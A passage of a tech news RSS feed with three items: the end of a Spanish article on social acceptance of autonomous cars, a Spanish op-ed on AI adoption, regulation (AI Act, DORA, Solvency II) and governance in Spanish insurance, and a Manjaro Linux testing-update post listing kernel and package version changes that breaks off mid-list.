<p>Pero la tecnología o la ley no son los retos exclusivos. “Finalmente está el factor social, que es donde se decide la adopción o no de las nuevas tecnologías”, señalan los responsables del piloto del campus vigués. “De ahí la importancia y peso que tiene para nosotros el estar en contacto directo con los usuarios y hacerlos partícipes del futuro, recogiendo sus opiniones, ideas o percepciones”, señalan. “El desafío actual es generar confianza —tanto en la seguridad física como en la seguridad de la información— y diseñar servicios que respondan a necesidades reales”.</p>



<p>Goikoetxea, que se define como un “absoluto convencido”, apunta que la transición se hará poco a poco. “Antes seguramente no querríamos volar y ahora vemos que es el medio más seguro. Con el coche va a pasar algo parecido. Cuando empiecen a disminuir los accidentes diremos ‘pero si esto es maravilloso’”, indica, confiando en que el proceso parecerá más cómodo y abrirá la puerta hasta una nueva manera de visualizar la propiedad de los vehículos o su uso.  </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La evolución del sector asegurador español ante la era de la IA: estrategia, gobernanza y el imperativo del riesgo prudencial]]></title>
<description><![CDATA[El sector asegurador —en general, y en España en particular— se encuentra a las puertas de una fase de transformación que va más allá de la mera digitalización para adentrarse en una potencial reconfiguración estructural impulsada por la inteligencia artificial (IA). Este fenómeno, lejos de ser u...]]></description>
<link>https://tsecurity.de/de/3411349/it-nachrichten/la-evolucin-del-sector-asegurador-espaol-ante-la-era-de-la-ia-estrategia-gobernanza-y-el-imperativo-del-riesgo-prudencial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3411349/it-nachrichten/la-evolucin-del-sector-asegurador-espaol-ante-la-era-de-la-ia-estrategia-gobernanza-y-el-imperativo-del-riesgo-prudencial/</guid>
<pubDate>Mon, 06 Apr 2026 16:32:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El <strong>sector asegurador</strong> —en general, y en España en particular— se encuentra a las puertas de una fase de transformación que va más allá de la mera digitalización para adentrarse en una potencial <strong>reconfiguración estructural impulsada por la inteligencia artificial (IA)</strong>. Este fenómeno, lejos de ser una tendencia coyuntural, apunta a consolidarse progresivamente como uno de los ejes centrales de las estrategias corporativas para los próximos años en el sector, proyectándose como un horizonte de cambio inminente.</p>



<p>Sin embargo, la implantación actual de estas tecnologías se manifiesta todavía con cautela en un sector prudente en el riesgo y fuertemente regulado, con diferencias también según el ramo de actividad. La Autoridad Europea de Seguros y Pensiones de Jubilación (EIOPA) publicó el pasado 2 de febrero un <a href="https://www.eiopa.europa.eu/eiopa-survey-generative-ai-shows-swift-cautious-adoption-among-europes-insurers-2026-02-02_en?prefLang=es" target="_blank" rel="nofollow">informe sobre el uso de la inteligencia artificial generativa (<em>GenAI</em>) en el sector asegurador europeo.</a> El informe, basado en las respuestas de 347 empresas de 25 países, destaca una adopción en rápido aumento de la <em>GenAI </em>entre las aseguradoras europeas, con casi dos tercios que ya han comenzado a usar la tecnología (si bien la mayoría se encuentran todavía en fase de prueba de concepto), lo que indica una implantación prudente y controlada, así como un importante potencial de crecimiento futuro. La mayoría de los casos de uso comunicados (64%) se centran en herramientas de productividad tipo <em>back-end</em> (extracción de datos de facturas, grabaciones de audio o informes médicos, generación de contenido para correos electrónicos, contratos o materiales de marketing, etc.). El uso mayoritario restante corresponde a desarrollo de aplicaciones de IA de última generación orientadas al cliente, como los <em>chatbots</em>. Por ramos, Vida presenta una penetración algo más moderada que en seguros de No Vida, reflejando la cautela inherente a productos con horizontes temporales de larga duración y una carga regulatoria más pesada. Aunque EIOPA no muestra datos específicos del mercado español, parece que aquí el grado de adopción sería algo superior a nuestros vecinos, tal y como muestran otros estudios previos de Minsait. No obstante, estos datos reflejan el uso de IA general (<em>GenAI </em>+ clásica), no específicamente generativa.</p>



<p>En este escenario, para un director de Estrategia y Gobierno de la IA (<em>Chief AI Officer</em> o CAIO) en el entorno asegurador español, se plantea una dualidad compleja: la necesidad de capitalizar las eficiencias disruptivas mientras se navega en un ecosistema de riesgo prudencial donde la transparencia y la explicabilidad no son opciones, sino mandatos regulatorios estrictos. A esta complejidad se suma un factor clave: la inversión necesaria dista mucho de ser trivial. No sólo implica integrar modelos avanzados en infraestructuras heredadas, sino también incorporar talento especializado capaz de gestionar nuevas arquitecturas tecnológicas y perfiles adicionales en ámbitos como la planificación, la regulación o el ‘delivery’ de soluciones.</p>



<h2 class="wp-block-heading">La arquitectura de la disrupción: IA generativa y el auge de los sistemas agente</h2>



<p>La distinción entre la IA tradicional y las nuevas fronteras de la IA generativa y agentiva resulta clave para comprender el cambio de paradigma que podría materializarse en los próximos años. Mientras que la IA convencional se ha venido centrando históricamente en el análisis predictivo y la clasificación de datos estructurados, la IA generativa permite introducir la capacidad de interactuar con grandes volúmenes de datos no estructurados, como contratos, informes periciales o comunicaciones con clientes. No obstante, la verdadera revolución —que ya se vislumbra— es la transición hacia los agentes autónomos. Estos sistemas no sólo generan contenido, sino que poseen la capacidad de descomponer problemas complejos, razonar sobre objetivos y ejecutar flujos de trabajo de manera proactiva con una mínima intervención humana.</p>



<h2 class="wp-block-heading">El impacto real de la IA en la cadena de valor</h2>



<p>La IA generativa y los agentes autónomos van a redefinir cada eslabón de la cadena de valor aseguradora, permitiendo una transición desde modelos reactivos hacia una gestión proactiva del riesgo. En el ámbito de la suscripción y la evaluación de riesgos, la IA va a permitir procesar rápidamente grandes volúmenes de datos externos e internos para tomar decisiones más precisas y personalizadas. Esta capacidad de análisis predictivo es esencial para ofrecer cotizaciones instantáneas y coberturas dinámicas que se ajusten al perfil del cliente en tiempo real.</p>



<h3 class="wp-block-heading">La revolución en la gestión de siniestros y detección de fraude</h3>



<p>Pero, con toda seguridad, es en la gestión de siniestros donde el beneficio económico directo va a ser más evidente. La integración de IA permitirá una automatización que reduce drásticamente los tiempos de respuesta. Según un estudio de Shift Technology (empresa puntera del sector ‘InsurTech’), casos de uso avanzados demuestran que la IA puede alcanzar una precisión del 95% en la automatización de siniestros de baja complejidad. Mediante el uso de agentes autónomos, el tiempo de tramitación de un siniestro puede reducirse de semanas a horas, mejorando la satisfacción del cliente de manera exponencial.</p>



<p>La detección del fraude es otro pilar crítico. Según el mismo estudio, los sistemas de IA ya analizan patrones y anomalías en los datos para identificar situaciones sospechosas con una precisión documentada del 93%. En el contexto español, donde el fraude supone una carga significativa para la mutualidad de asegurados, el uso de <em>GenAI </em>(combinada con otros modelos de aprendizaje no supervisado) para analizar inconsistencias entre documentos y detalles de la pérdida puede convertirse en una herramienta fundamental para proteger la rentabilidad de las carteras.</p>



<h3 class="wp-block-heading">Atención al cliente e “hiperpersonalización” de pólizas</h3>



<p>Por otro lado, y en línea con el estudio de EIOPA, uno de los ámbitos donde ya se observa una mayor madurez y grado de adopción es en la utilización de <em>chatbots </em>inteligentes y asistentes virtuales potenciados por IA (incluyendo modelos de lenguaje naturales, principalmente generativos), para atender consultas de clientes de forma inmediata. Además, mediante análisis de datos de clientes, la IA ayuda a identificar preferencias y ofrecer productos o coberturas personalizadas a cada perfil. Esto se traduce en respuestas más rápidas y pólizas más ajustadas a las necesidades de cada cliente, incrementando la satisfacción y fidelización de los asegurados.</p>



<h2 class="wp-block-heading">El marco regulatorio: AI Act, DORA y Solvencia II</h2>



<p>La innovación con IA en el seguro español navega en un mar de normativas cada vez más denso. El Reglamento de IA de la Unión Europea (<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32024R1689" target="_blank" rel="nofollow">AI Act</a>), de implantación secuencial desde agosto de 2024, establece una clasificación de riesgos que impacta directamente en las operaciones aseguradoras. El primer hito, ya cumplido, fue descartar los Sistemas de “Riesgo Prohibido” (febrero de 2025). Sin embargo, el uso de la IA para la evaluación de riesgos y la fijación de precios en seguros de vida y salud ha sido recogido en el Anexo III del AI ACT dentro de la categoría de “Servicios Esenciales” y por tanto etiquetado como de “Alto Riesgo”, entendiendo que dicha finalidad puede tener impacto en los derechos fundamentales de las personas físicas. Estos Sistemas conllevan obligaciones estrictas en materia de gobernanza de datos, documentación técnica y supervisión humana, entre otras. Y para añadir más complejidad —si cabe—, la definición de “Sistema IA” que hace el Reglamento puede alcanzar a modelos tradicionales, tales como el cálculo actuarial o los modelos lineales generalizados (GLM), que llevan siendo utilizados durante más de 70 años en el sector. Es imperativo resolver esta ambigüedad regulatoria, ya que puede suponer un notable freno a la innovación y generar una duplicidad de cargas sobre procesos ‘core’ del sector, más que consolidados y auditados.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/image_ff2d2f.png" alt="" class="wp-image-4154498" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/04/image_ff2d2f.png?quality=50&amp;strip=all 602w, https://b2b-contenthub.com/wp-content/uploads/2026/04/image_ff2d2f.png?resize=300%2C158&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/04/image_ff2d2f.png?resize=150%2C79&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/04/image_ff2d2f.png?resize=444%2C235&amp;quality=50&amp;strip=all 444w" width="602" height="318" sizes="auto, (max-width: 602px) 100vw, 602px"></figure></div>



<p>A este marco se suma el Reglamento de Resiliencia Operativa Digital (<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/PDF/?uri=CELEX:32022R2554&amp;from=FR" target="_blank" rel="nofollow">DORA</a>), que obliga a las entidades financieras, incluidas las aseguradoras, a garantizar que sus infraestructuras digitales —incluidas aquellas que soportan IA— sean resistentes ante incidentes y ciberamenazas. La interdependencia entre la IA y la ciberseguridad es bidireccional: mientras la IA mejora la capacidad de detección de amenazas, también se convierte en un vector de ataque que requiere protecciones específicas y una monitorización constante de las vulnerabilidades.</p>



<h3 class="wp-block-heading">Enfoque de riesgo prudencial y el desafío de la “caja negra”</h3>



<p>A pesar de los beneficios evidentes, la adopción de la IA en el sector asegurador español se rige por un principio de prudencia extrema. El paraguas de Solvencia II, bajo la supervisión de la Dirección General de Seguros y Fondos de Pensiones (DGSFP), exige que cualquier innovación sea compatible con la estabilidad financiera y la protección del consumidor. El concepto de “riesgo prudencial” adquiere aquí una relevancia máxima: las aseguradoras deben mantener un perfil de riesgo conservador y asegurar que el uso de tecnologías emergentes no comprometa su adecuación de capital ni su liquidez.</p>



<p>En este sentido, otro de los grandes desafíos que conlleva la aplicación de la IA en el ámbito asegurador es el carácter de “caja negra” de muchos modelos avanzados, especialmente los basados en aprendizaje profundo (<em>deep learning</em>) e IA generativa. En un sector donde las decisiones sobre primas, coberturas y denegaciones de siniestros deben ser justificables ante cliente y regulador, la opacidad algorítmica es inasumible. EIOPA ha enfatizado que la transparencia y la explicabilidad son principios innegociables para una IA fiable. Estos aspectos son, además, un requerimiento regulatorio por parte del AI Act en los Sistemas de Alto Riesgo.</p>



<h2 class="wp-block-heading">Gobernanza de datos: el cimiento de una IA responsable</h2>



<p>Para que la IA despliegue su potencial bajo un prisma prudencial, la gobernanza de datos se convierte en la prioridad número uno. EIOPA ha establecido principios claros: los datos utilizados para entrenar modelos de IA deben ser completos, representativos y estar libres de sesgos discriminatorios. En el contexto de la Directiva de Distribución de Seguros (IDD), las aseguradoras españolas tienen la obligación de actuar con honestidad y profesionalidad, lo que implica que el uso de la IA debe priorizar el interés del cliente y evitar cualquier forma de exclusión financiera injustificada.</p>



<p>El CAIO debe liderar la implementación de políticas de gobernanza de datos que aseguren que la información sea “apropiada” para su propósito. Esto incluye no solo la calidad técnica del dato, sino también su dimensión ética. La trazabilidad de los datos, desde su origen hasta su procesamiento por el algoritmo, es un requisito esencial para cumplir con las expectativas de supervisión de la DGSFP y para garantizar la soberanía del conocimiento dentro de la organización.</p>



<h2 class="wp-block-heading">Tendencias emergentes: computación cuántica e IoT</h2>



<p>Mirando hacia un futuro un paso más allá, hay que considerar el potencial que va a aportar a la IA otras tecnologías disruptivas. La computación cuántica se perfila como un acelerador masivo de los algoritmos de aprendizaje automático, permitiendo el procesamiento de conjuntos de datos masivos de manera mucho más eficiente para la tarificación de riesgos complejos. Aunque todavía en fase de investigación, se espera que en un horizonte de unos cinco años la computación cuántica empiece a utilizarse en servicios habituales de gestión de riesgos catastróficos y optimización de carteras.</p>



<p>Por otro lado, la integración de la IA con el Internet de las Cosas (IoT) —en hogares conectados, vehículos telemáticos, dispositivos de salud… y siempre respetando los derechos fundamentales de las personas físicas, según establece el AI Act—, permitirá a las aseguradoras pasar de ser pagadores de siniestros a ser gestores de prevención. Los agentes autónomos podrán interactuar con estos datos en tiempo real para sugerir cambios de comportamiento que reduzcan la probabilidad de un siniestro, alineando los intereses de la aseguradora con la seguridad y bienestar del cliente.</p>



<h2 class="wp-block-heading">Conclusiones: la ruta hacia un seguro más inteligente y prudente</h2>



<p>La transformación del sector asegurador español —y global— mediante la IA es un proceso de cambio estructural, una evolución significativa que ha de recorrerse para aprovechar el pleno potencial de las nuevas tecnologías, marcado por la necesidad de eficiencia y la exigencia de responsabilidad. El impacto real, aún incipiente, ya comienza a vislumbrarse en la reducción de tiempos de tramitación, la precisión en la detección del fraude y una personalización del servicio sin precedentes. Sin embargo, el éxito sostenible de esta transición dependerá de la capacidad de las entidades para integrar la innovación dentro de un marco de riesgo prudencial sólido.</p>



<p>Para el CAIO, los imperativos son claros:</p>



<ul class="wp-block-list">
<li><strong>Priorizar la gobernanza:</strong> la IA es tan buena como los datos que la alimentan y la estructura que la supervisa. Establecer roles y responsabilidades claros entre las funciones de tecnología, riesgos, cumplimiento y protección de datos es esencial.</li>



<li><strong>Fomentar la transparencia:</strong> ante el riesgo de “caja negra”, las aseguradoras deben invertir en tecnologías de explicabilidad y mantener siempre una supervisión humana efectiva en las decisiones de alto impacto.</li>



<li><strong>Gestionar la escala:</strong> pasar de la experimentación a la orquestación masiva de agentes autónomos requiere una infraestructura resiliente y alineada con normativas como DORA.</li>



<li><strong>Preservar el conocimiento:</strong> la soberanía tecnológica será el factor diferencial de las aseguradoras líderes, preservando que el corazón de la inteligencia de negocio permanezca como un activo estratégico propio.</li>
</ul>



<p>En última instancia, la IA no sustituye la prudencia del asegurador, sino que la potencia. Al dotar a las entidades de herramientas para comprender mejor el riesgo y servir con mayor agilidad al cliente, la tecnología refuerza la misión fundamental del sector: actuar como la red de seguridad de la sociedad en un entorno cada vez más complejo y digital. Sólo si la innovación audaz y la prudencia regulatoria coexisten y se retroalimentan se podrá crear valor real y duradero.</p>



&gt;<figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/image.jpeg?quality=50&amp;strip=all" alt="Jesús Gil Jaime, responsable de Riesgos de la Oficina Corporativa de Estrategia en Inteligencia Artificial de Ibercaja." class="wp-image-4154497 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p><a href="https://www.linkedin.com/in/jes%C3%BAs-gil-jaime-a10ba9286/" target="_blank" rel="nofollow">Jesús Gil Jaime</a> es responsable de Riesgos de la Oficina Corporativa de Estrategia en Inteligencia Artificial de Ibercaja. Formado en Estadística, Matemáticas, <em>Big Data</em> e IA, actualmente es doctorando por la Universidad de Zaragoza en Métodos de Inteligencia Artificial aplicados al análisis y predicción de Series Temporales en Economía.</p>
</div></div>



<p></p>
</div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-03-31 - Linux 7.0-rc6, GNOME, Thunderbird, Deepin, Freecad, Wireplumber]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to 7.0 series. Also there will be Plasma 6.6 series, KDE Gears 26.04 and GNOME 50 ...]]></description>
<link>https://tsecurity.de/de/3409930/unix-server/testing-update-2026-03-31-linux-70-rc6-gnome-thunderbird-deepin-freecad-wireplumber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3409930/unix-server/testing-update-2026-03-31-linux-70-rc6-gnome-thunderbird-deepin-freecad-wireplumber/</guid>
<pubDate>Mon, 06 Apr 2026 01:00:56 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to <a href="https://www.heise.de/en/news/Linux-Torvalds-starts-development-of-Kernel-7-0-11186358.html">7.0</a> series. Also there will be <a href="https://kde.org/announcements/plasma/6/6.6.0/">Plasma 6.6</a> series, <a href="https://community.kde.org/Schedules/KDE_Gear_26.04_Schedule">KDE Gears 26.04</a> and <a href="https://release.gnome.org/50/">GNOME 50</a> release series. XFCE will stay at <a href="https://www.xfce.org/about/tour420">4.20</a> this release cycle. A release of ‘Bian-May’ can be expected end of April, beginning of May. Let us know any issues you may found thus far …</p>
<h3><a name="p-850257-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-850257-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-850257-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-850257-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<h2><a name="p-850257-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-850257-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> 7.0 got updated to <a href="https://lore.kernel.org/lkml/CAHk-=wgLvq1LucHhxjiPwDBkMRk=54Zh=-FmUdevXJyHygc=9A@mail.gmail.com/T/#u">7.0-rc6</a></li>
<li><strong>GNOME</strong> <a href="https://discourse.gnome.org/t/gnome-49-5-released/34574">49.5</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/149.0.1/releasenotes/">149.0.1</a></li>
<li>Some updates to <strong>Deepin</strong></li>
<li><strong>freecad</strong> <a href="https://blog.freecad.org/2026/03/25/freecad-version-1-1-released/">1.1.0</a></li>
<li>Rebuilds and updates to <strong>haskell</strong></li>
<li><strong>wireplumber</strong> <a href="https://gitlab.com/pipewire/wireplumber/-/blob/07e730b279ac7a520699ae9f6b0797848a731b30/NEWS.rst">0.5.14</a></li>
</ul>
<h2><a name="p-850257-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-850257-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux510 5.10.252</li>
<li>linux515 5.15.202</li>
<li>linux61 6.1.167</li>
<li>linux66 6.6.130</li>
<li>linux612 6.12.78</li>
<li>linux618 6.18.20</li>
<li>linux619 6.19.10</li>
<li>linux70 7.0.0rc6</li>
<li>linux61-rt 6.1.166_rt61</li>
<li>linux66-rt 6.6.129_rt70</li>
<li>linux612-rt 6.12.74_rt16</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (3/31/26 05:17 CEST)</p>
<ul>
<li>testing core x86_64:  3 new and 3 removed package(s)</li>
<li>testing extra x86_64:  1131 new and 1127 removed package(s)</li>
<li>testing multilib x86_64:  8 new and 8 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             linux70           7.0.0rc5-1           7.0.0rc6-1
                     linux70-headers           7.0.0rc5-1           7.0.0rc6-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                                file               5.47-1               5.47-2


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             discord          1:0.0.131-1                    -
                   linux70-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux70-bbswitch              0.8-0.5              0.8-0.6
                 linux70-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux70-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                 linux70-nvidia-open        595.58.03-0.1        595.58.03-0.2
                       linux70-r8168         8.056.02-0.5         8.056.02-0.6
                   linux70-rtl8723bu         20250813-0.5         20250813-0.6
                    linux70-tp_smapi             0.45-0.5             0.45-0.6
                 linux70-vhba-module         20250329-0.5         20250329-0.6
     linux70-virtualbox-host-modules            7.2.6-0.5            7.2.6-0.6
                         linux70-zfs            2.4.1-0.5            2.4.1-0.6


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                          abseil-cpp         20250814.1-1         20260107.1-1
                               afl++              4.35c-2              4.40c-1
                                agda          2.6.4.3-119          2.6.4.3-121
                          aliyun-cli              3.2.9-1              3.3.3-1
                              allure         0.11.0.0-317         0.11.0.0-320
                          amdgpu_top             0.11.2-1             0.11.3-1
                       android-tools            35.0.2-23            35.0.2-24
                          apache-orc              2.3.0-2              2.3.0-3
                                apko             1.1.16-1              1.2.0-1
                               arbtt         0.12.0.3-185         0.12.0.3-187
                             arch-hs            0.12.1-66            0.12.1-70
                      argo-workflows              4.0.2-1              4.0.3-1
                               arrow             23.0.1-2             23.0.1-3
                             astroid               0.17-8               0.17-9
                           astroterm             1.0.10-1              1.1.0-1
                           aws-vault              7.9.7-1             7.9.13-1
                              azcopy            10.32.1-1            10.32.2-1
                       bbswitch-dkms              0.8-806              0.8-807
                       bcachefs-dkms           3:1.37.3-1           3:1.37.4-1
                      bcachefs-tools           3:1.37.3-1           3:1.37.4-1
                               beets              2.7.1-1              2.8.0-1
                               bftpd                6.3-1                6.6-1
                              bloaty               1.1-22               1.1-23
                            bpftrace             0.25.0-1             0.25.1-1
                                brat              0.9.0-2             0.10.0-1
                                 bun             1.3.11-1             1.3.11-2
                               byobu               6.14-1               6.15-1
                       cabal-install          3.10.3.0-15          3.10.3.0-18
                          cabal-plan          0.7.3.0-128          0.7.3.0-130
                      cargo-binstall             1.17.8-2             1.17.9-1
                         cargo-insta             1.47.0-1             1.47.2-1
                        cargo-update             18.2.0-2             19.0.1-1
                             castxml              0.7.0-1              0.7.0-2
                           cbor-tool          0.2.3.0-124          0.2.3.0-126
                              ccache             4.13.1-1             4.13.2-1
                               cgrep             8.1.0-94             8.1.0-97
                              chatty              0.8.9-1              0.8.9-2
                          cherrytree              1.6.3-1              1.6.3-2
                           clash-ghc             1.8.2-97            1.8.2-100
                          cockatrice             2.10.3-1             2.10.3-2
                               crash              9.0.1-1              9.0.1-2
                             cryptol             3.3.0-47             3.3.0-50
                                 cue             0.15.4-1             0.16.0-1
                    curl-impersonate              1.5.1-1              1.5.2-1
                                cyme             2.2.11-2              2.3.0-1
                               darcs           2.18.5-191           2.18.5-194
                             dbeaver             26.0.0-1             26.0.1-1
                     deepin-anything             6.2.11-1              7.0.0-2
                deepin-anything-dkms             6.2.11-1              7.0.0-2
                          deepin-api             6.0.35-1             6.0.37-1
                 deepin-app-services             1.0.40-1             1.0.41-1
          deepin-application-manager             1.2.42-1             1.2.44-1
                     deepin-calendar             6.5.17-1             6.5.18-1
                    deepin-clipboard              6.1.7-1              6.1.8-1
                   deepin-compressor              6.5.9-1             6.5.11-1
               deepin-control-center             6.1.13-1             6.1.15-1
                       deepin-daemon             6.1.46-4             6.1.49-1
                deepin-desktop-theme             1.1.16-1             1.1.18-1
             deepin-device-formatter           0.0.1.18-2              1.5.1-1
                         deepin-draw             6.5.25-1             6.5.26-1
                       deepin-editor             6.5.41-1             6.5.42-1
                 deepin-grand-search              5.4.7-3              5.4.9-1
                    deepin-launchpad             2.0.25-3             2.0.26-1
                        deepin-movie          1:5.10.45-1          1:5.10.46-1
                 deepin-network-core             2.0.42-1             2.0.43-1
               deepin-qt5integration             5.7.30-2             6.7.31-1
          deepin-qt5platform-plugins             5.7.30-2             6.7.31-1
               deepin-qt6integration             6.0.48-3             6.7.31-1
          deepin-qt6platform-plugins             6.0.48-3             6.7.31-1
                  deepin-screensaver             5.0.19-2             5.0.20-1
                     deepin-services             1.0.19-1             1.0.21-1
                      deepin-session             2.0.15-2             2.0.17-1
                        deepin-shell             2.0.27-3             2.0.29-1
               deepin-system-monitor             6.5.19-2             6.5.21-1
                     deepin-terminal             6.5.28-3             6.5.29-1
                  deepin-tray-loader             2.0.24-3             2.0.26-1
                        deepin-turbo            0.0.6.2-1            0.0.6.3-1
                     deepin-util-dfm             1.2.29-1             1.2.31-1
                   deepin-wallpapers            1:1.7.8-1           1:1.7.14-1
                      deepin-widgets             6.0.18-2             6.0.20-1
                               dhall            1.42.3-45            1.42.3-48
                          dhall-bash           1.0.41-176           1.0.41-180
                          dhall-docs           1.0.12-168           1.0.12-171
                          dhall-json           1.7.12-172           1.7.12-175
                    dhall-lsp-server            1.1.4-102            1.1.4-106
                          dhall-yaml           1.2.12-177           1.2.12-180
                       diff-so-fancy              1.4.6-1              1.4.8-1
                          diffoscope                313-1                315-1
                             discord          1:0.0.130-1          1:0.0.131-1
                             dovecot              2.4.3-1              2.4.3-2
                               drone             2.28.0-1             2.28.1-1
                           drone-oss             2.28.0-1             2.28.1-1
                            dtk6core           1:6.7.32-2           1:6.7.33-1
                     dtk6declarative           1:6.7.32-2           1:6.7.33-1
                             dtk6gui           1:6.7.32-2           1:6.7.33-1
                             dtk6log             6.7.32-2             6.7.33-1
                          dtk6widget           1:6.7.32-2           1:6.7.33-1
                             dtkcore           1:6.7.32-2           1:6.7.33-1
                      dtkdeclarative           1:6.7.32-2           1:6.7.33-1
                              dtkgui           1:6.7.32-2           1:6.7.33-1
                              dtklog             6.7.32-2             6.7.33-1
                           dtkwidget           1:6.7.32-2           1:6.7.33-1
                               dunst             1.13.1-1             1.13.2-1
                         easyeffects              8.1.7-1              8.1.8-1
                              emptty             0.16.0-1             0.16.1-1
               evolution-data-server             3.58.3-1             3.58.3-2
          evolution-data-server-docs             3.58.3-1             3.58.3-2
                  falcosecurity-libs             0.20.0-9             0.23.1-1
                           fastfetch             2.60.0-1             2.61.0-1
           firefox-developer-edition            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ach            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-af            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-an            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ar            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ast            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-az            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-be            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-br            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ca-valencia      150.0b2-1            150.0b3-1
